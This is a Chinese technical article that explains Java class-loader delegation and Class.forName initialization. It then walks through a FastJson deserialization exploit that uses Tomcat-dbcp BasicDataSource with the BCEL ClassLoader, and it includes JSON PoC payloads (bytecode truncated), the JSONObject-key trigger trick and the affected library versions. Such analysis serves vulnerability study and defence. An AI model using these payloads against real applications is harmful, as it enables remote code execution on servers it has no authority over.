您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何解析Java動態類加載的機制,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
今天我們講一下Java的動態類加載的機制。
我們通常會把編程語言的處理器分為解釋器
和編譯器
。解釋器是一種用于執行程序的軟件,它會根據程序代碼中的算法執行運算,如果這個執行軟件是根據虛擬的或者類似機器語言的程序設計語言寫成,那也稱為虛擬機。編譯器則是將某種語言代碼轉換為另外一種語言的程序,通常會轉換為機器語言。
有些編程語言會混用解釋器和編譯器,比如Java會先通過編譯器將源代碼轉換為Java二進制代碼(字節碼),并將這種虛擬的機器語言保存在文件中(通常是.class文件),之后通過Java虛擬機(JVM)的解釋器來執行這段代碼。
Java是面向對象的語言,字節碼中包含了很多Class信息。在 JVM 解釋執行的過程中,ClassLoader就是用來加載Java類的,它會將Java字節碼中的Class加載到內存中。而每個 Class 對象的內部都有一個 classLoader 屬性來標識自己是由哪個 ClassLoader 加載的。
class Class<T> { ... private Class(ClassLoader loader) { // Initialize final field for classLoader. The initialization value of non-null // prevents future JIT optimizations from assuming this final field is null. classLoader = loader; } ... private final ClassLoader classLoader; ... }
ClassLoader類位于java.lang.ClassLoader,官方描述是這樣的:
/** * A class loader is an object that is responsible for loading classes. The * class <tt>ClassLoader</tt> is an abstract class. Given the <a * href="#name">binary name</a> of a class, a class loader should attempt to * locate or generate data that constitutes a definition for the class. A * typical strategy is to transform the name into a file name and then read a * "class file" of that name from a file system. * * ... * * <p> The <tt>ClassLoader</tt> class uses a delegation model to search for * classes and resources. Each instance of <tt>ClassLoader</tt> has an * associated parent class loader. When requested to find a class or * resource, a <tt>ClassLoader</tt> instance will delegate the search for the * class or resource to its parent class loader before attempting to find the * class or resource itself. The virtual machine's built-in class loader, * called the "bootstrap class loader", does not itself have a parent but may * serve as the parent of a <tt>ClassLoader</tt> instance. * * ... **/ public abstract class ClassLoader { ... }
JDK內置常見的ClassLoader主要有這幾個:BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLClassLoader、ContextClassLoader。
ClassLoader采用了委派模式(Parents Delegation Model)來搜索類和資源。每一個ClassLoader類的實例都有一個父級ClassLoader,當需要加載類時,ClassLoader實例會委派父級ClassLoader先進行加載,如果無法加載再自行加載。JVM 內置的 BootstrapClassLoader 自身沒有父級ClassLoader,而它可以作為其他ClassLoader實例的父級。
BootstrapClassLoader,啟動類加載器/根加載器,負責加載 JVM 運行時核心類,這些類位于 JAVA_HOME/lib/rt.jar 文件中,我們常用內置庫 java.*.* 都在里面。這個 ClassLoader 比較特殊,它其實不是一個ClassLoader實例對象,而是由C代碼實現。用戶在實現自定義類加載器時,如果需要把加載請求委派給啟動類加載器,那可以直接傳入null作為 BootstrapClassLoader。
ExtClassLoader,擴展類加載器,負責加載 JVM 擴展類,擴展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,庫名通常以 javax 開頭。
AppClassLoader,應用類加載器/系統類加載器,直接提供給用戶使用的ClassLoader,它會加載 ClASSPATH 環境變量或者 java.class.path 屬性里定義的路徑中的 jar 包和目錄,負責加載包括開發者代碼中、第三方庫中的類。
URLClassLoader,ClassLoader抽象類的一種實現,它可以根據URL搜索類或資源,并進行遠程加載。BootstrapClassLoader、ExtClassLoader、AppClassLoader等都是 URLClassLoader 的子類。
AppClassLoader 可以由 ClassLoader 類提供的靜態方法 getSystemClassLoader() 得到,開發者編寫代碼中的類就是通過AppClassLoader進行加載的,包括 main() 方法中的第一個用戶類。
我們可以運行如下代碼查看ClassLoader的委派關系:
ClassLoader.getParent() 可以獲取用于委派的父級class loader,通常會返回null來表示bootstrap class loader。
public class JavaClassLoader { public static void main(String[] args) { ClassLoader appClassloader = ClassLoader.getSystemClassLoader(); ClassLoader extensionClassloader = appClassloader.getParent(); System.out.println("AppClassLoader is " + appClassloader); System.out.println("The parent of AppClassLoader is " + extensionClassloader); System.out.println("The parent of ExtensionClassLoader is " + extensionClassloader.getParent()); } }
執行結果:
AppClassLoader is sun.misc.Launcher$AppClassLoader@18b4aac2 The parent of AppClassLoader is sun.misc.Launcher$ExtClassLoader@5e2de80c The parent of ExtensionClassLoader is null
而 ExtensionClassLoader 和 AppClassLoader 都是 URLClassLoader 的子類,它們都是從本地文件系統里加載類庫。URLClassLoader 不但可以加載遠程類庫,還可以加載本地路徑的類庫,取決于構造器中不同的地址形式。
ExtClassLoader 和 AppClassLoader 類的實現代碼位于rt.jar 中的 sun.misc.Launcher 類中,Launcher是由BootstrapClassLoader加載的。ExtClassLoader 和 AppClassLoader 定義如下:
static class ExtClassLoader extends URLClassLoader { private static volatile Launcher.ExtClassLoader instance; public static Launcher.ExtClassLoader getExtClassLoader() throws IOException { if (instance == null) { Class var0 = Launcher.ExtClassLoader.class; synchronized(Launcher.ExtClassLoader.class) { if (instance == null) { instance = createExtClassLoader(); } } } return instance; } ... static class AppClassLoader extends URLClassLoader { final URLClassPath ucp = SharedSecrets.getJavaNetAccess().getURLClassPath(this); public static ClassLoader getAppClassLoader(final ClassLoader var0) throws IOException { final String var1 = System.getProperty("java.class.path"); final File[] var2 = var1 == null ? new File[0] : Launcher.getClassPath(var1); return (ClassLoader)AccessController.doPrivileged( new PrivilegedAction<Launcher.AppClassLoader>() { public Launcher.AppClassLoader run() { URL[] var1x = var1 == null ? new URL[0] : Launcher.pathToURLs(var2); return new Launcher.AppClassLoader(var1x, var0); } }); }
ClassLoader 中有幾個重要的方法:loadClass()、findClass()、defineClass()。ClassLoader 嘗試定位或者產生一個Class的數據,通常是把二進制名字轉換成文件名然后到文件系統中找到該文件。
loadClass(String classname),參數為需要加載的全限定類名,該方法會先查看目標類是否已經被加載,查看父級加載器并遞歸調用loadClass(),如果都沒找到則調用findClass()。
findClass(),搜索類的位置,一般會根據名稱或位置加載.class字節碼文件,獲取字節碼數組,然后調用defineClass()。
defineClass(),將字節碼轉換為 JVM 的 java.lang.Class 對象。
Class.forName() 也可以用來動態加載指定的類,它會返回一個指定類/接口的 Class 對象,如果沒有指定ClassLoader, 那么它會使用BootstrapClassLoader來進行類的加載。該方法定義如下:
public static Class<?> forName(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException public static Class<?> forName(String className) throws ClassNotFoundException
Class.forName() 和 ClassLoader.loadClass() 這兩個方法都可以用來加載目標類,但是都不支持加載原生類型,比如:int。Class.forName() 可以加載數組,而 ClassLoader.loadClass() 不能。
// 動態加載 int 數組 Class ia = Class.forName("[I"); System.out.println(ia); // 會輸出: // class [I Class ia2 = ClassLoader.getSystemClassLoader().loadClass("[I"); // 數組類型不能使用ClassLoader.loadClass方法,會報錯: // Exception in thread "main" java.lang.ClassNotFoundException: [I
Class.forName()方法實際上也是調用的 CLassLoader 來實現的,調用時也可以在參數中明確指定ClassLoader。與ClassLoader.loadClass() 一個小小的區別是,forName() 默認會對類進行初始化,會執行類中的 static 代碼塊。而ClassLoader.loadClass() 默認并不會對類進行初始化,只是把類加載到了 JVM 虛擬機中。
我們執行如下測試代碼:
class Test{ static{ System.out.println("// This is static code executed"); } } public class JavaClassLoader { public static void main(String[] args) throws ClassNotFoundException { ClassLoader appClassloader = ClassLoader.getSystemClassLoader(); System.out.println("Execute Class.forName:"); Class cl = Class.forName("Test"); System.out.println(cl); System.out.println("Execute ClassLoader:"); Class cl2 = appClassloader.loadClass("Test"); System.out.println(cl2); } }
執行結果如下,可以看到Class.forName()時,static代碼塊被執行了:
Execute Class.forName: // This is static code executed class Test Execute ClassLoader: class Test
// 歡迎訂閱我的微信公眾號:安全引擎
還記得FastJson TemplatesImpl利用鏈嗎 ?
TemplatesImpl.getOutputProperties()
> TemplatesImpl.newTransformer()
> TemplatesImpl.getTransletInstance()
> TemplatesImpl.defineTransletClasses()
private void defineTransletClasses() throws TransformerConfigurationException { ... _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { ... }
這個PoC原理上也是利用了 ClassLoader 動態加載惡意代碼,在Payload中直接傳入字節碼。TransletClassLoader.defineClass() 將 Bytecode 字節碼轉為Class對象。但是這種限制比較多,要求開發者在調用parseObject()時額外設置 Feature.SupportNonPublicField,這是不太常見的使用場景。
其實在2017年FastJson漏洞剛公布出來的時候,我們就很快捕獲到了一個比較通用的Exploit,它利用了org.apache.tomcat.dbcp.dbcp.BasicDataSource類。這個Payload不需要反連,不要求特定的代碼寫法,直接傳入惡意代碼bytecode完成利用,而且依賴包 tomcat-dbcp 使用也比較廣泛,是Tomcat的數據庫驅動組件。但是網上對這個PoC的分析文章并不是很多,印象中只有genxor在<DefineClass在Java反序列化當中的利用>一文中有較為完整的分析。PoC如下:
{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
這里反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 對象,并完成了命令執行。直接看利用鏈:
BasicDataSource.getConnection()
> createDataSource()
> createConnectionFactory()
protected ConnectionFactory createConnectionFactory() throws SQLException { ... if (driverClassLoader == null) { driverFromCCL = Class.forName(driverClassName); } else { driverFromCCL = Class.forName(driverClassName, true, driverClassLoader); } ...
經過一連串的調用鏈,在 BasicDataSource.createConnectionFactory() 中會調用 Class.forName(),還可以自定義ClassLoader。如上一節所說 Class.forName() 在動態加載類時,默認會進行初始化,所以這里在動態加載的過程中會執行 static 代碼段。
那么在可控 classname 和 classloader 的情況下,如何實現命令執行呢?
接下來不得不提這個PoC中的 com.sun.org.apache.bcel.internal.util.ClassLoader 了,這是一個神奇的 ClassLoader,因為它會直接從 classname 中提取 Class 的 bytecode 數據。
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { ... if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); else { ... } if(clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } else cl = Class.forName(class_name); .... return cl; } /* * The name contains the special token $$BCEL$$. Everything before that * token is consddered to be a package name. You can encode you own * arguments into the subsequent string. * The default implementation interprets the string as a encoded compressed * Java class, unpacks and decodes it with the Utility.decode() method, and * parses the resulting byte array and returns the resulting JavaClass object. * * @param class_name compressed byte code with "$$BCEL$$" in it */ protected JavaClass createClass(String class_name) { ... }
如果 classname 中包含 $$BCEL$$
,這個 ClassLoader 則會將$$BCEL$$
后面的字符串按照BCEL編碼進行解碼,作為Class的字節碼,并調用 defineClass() 獲取 Class 對象。
于是我們通過FastJson反序列化,反序列化生成一個 BasicDataSource 對象,并將它的成員變量 classloader 賦值為 com.sun.org.apache.bcel.internal.util.ClassLoader 對象,將 classname 賦值為 經過BCEL編碼的字節碼(假設對應的類為Evil.class),我們將需要執行的代碼寫在 Evil.class 的 static 代碼塊中即可。
BCEL編碼和解碼的方法:
import com.sun.org.apache.bcel.internal.classfile.Utility; ... String s = Utility.encode(data,true); byte[] bytes = Utility.decode(s, true); ...
再回顧一下PoC
{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
這里PoC結構上還有一個值得注意的地方在于,
先是將 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 這一整段放到JSON Value的位置上,之后在外面又套了一層 "{}"。
之后又將 Payload 整個放到了JSON 字符串中 Key 的位置上。
為什么這么設計呢?
因為為了完成前面說的一整個利用鏈,我們需要觸發 BasicDataSource.getConnection() 方法。
我在 FastJson反序列化漏洞利用的三個細節 提到過,FastJson中的 JSON.parse() 會識別并調用目標類的 setter 方法以及某些滿足特定條件的 getter 方法,然而 getConnection() 并不符合特定條件,所以正常來說在 FastJson 反序列化的過程中并不會被調用。
// 歡迎訂閱我的微信公眾號:安全引擎
原PoC中很巧妙的利用了 JSONObject對象的 toString() 方法實現了突破。JSONObject是Map的子類,在執行toString() 時會將當前類轉為字符串形式,會提取類中所有的Field,自然會執行相應的 getter 、is等方法。
首先,在 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 這一整段外面再套一層{},反序列化生成一個 JSONObject 對象。
然后,將這個 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的時候,FastJson 會對 JSON Key 自動調用 toString() 方法:
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject DefaultJSONParser.java:436 if (object.getClass() == JSONObject.class) { key = (key == null) ? "null" : key.toString(); }
于是乎就觸發了 BasicDataSource.getConnection()。PoC最完整的寫法應該是:
{ { "@type": "com.alibaba.fastjson.JSONObject", "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }
當然,如果目標環境的開發者代碼中是調用的是 JSON.parseObject() ,那就不用這么麻煩了。與 parse() 相比,parseObject() 會額外的將 Java 對象轉為 JSONObject 對象,即調用 JSON.toJSON(),在處理過程中會調用所有的 setter 和 getter 方法。
所以對于 JSON.parseObject(),直接傳入這樣的Payload也能觸發:
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b......" }
BasicDataSource類在舊版本的 tomcat-dbcp 包中,對應的路徑是 org.apache.tomcat.dbcp.dbcp.BasicDataSource。
比如:6.0.53、7.0.81等版本。MVN 依賴寫法如下:
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>dbcp</artifactId> <version>6.0.53</version> </dependency>
在Tomcat 8.0之后包路徑有所變化,更改為了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,構造PoC的時候需要注意一下。MVN依賴寫法如下:
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency>
關于如何解析Java動態類加載的機制就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。